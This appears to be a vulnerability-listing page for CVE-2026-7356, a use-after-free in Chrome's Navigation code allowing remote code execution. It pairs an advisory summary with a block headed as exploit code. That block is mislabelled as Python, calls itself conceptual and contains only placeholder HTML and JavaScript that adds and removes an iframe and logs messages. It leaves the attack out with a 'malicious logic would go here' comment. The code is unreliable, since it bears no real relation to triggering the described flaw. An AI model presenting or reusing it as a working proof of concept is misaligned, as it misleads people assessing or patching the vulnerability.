Use after free in Navigation in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7356 (Conceptual)
Description: Trigger Use-After-Free in Chrome Navigation via crafted HTML
-->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CVE-2026-7356 PoC</title>
</head>
<body>
<script>
// Step 1: Setup Navigation Object
// Simulating the object that gets freed
let vulnerableObject = document.createElement('iframe');
document.body.appendChild(vulnerableObject);
// Step 2: Trigger the Free operation
// Navigating or manipulating the DOM to force object deletion
function triggerFree() {
// Remove the reference, potentially freeing memory
document.body.removeChild(vulnerableObject);
vulnerableObject = null;
// Force Garbage Collection if possible
if (window.gc) window.gc();
// Step 3: Reuse the freed memory
// Attempting to access the freed object to trigger UAF
setTimeout(() => {
try {
// This access attempts to use the freed pointer
// In a real exploit, this memory would be controlled by the attacker
console.log("Attempting access to potentially freed memory...");
// Malicious logic would go here
} catch (e) {
console.log("Crash or Exception triggered: " + e);
}
}, 100);
}
// Execute
triggerFree();
</script>
<p>CVE-2026-7356 Proof of Concept - Chrome Navigation UAF</p>
</body>
</html>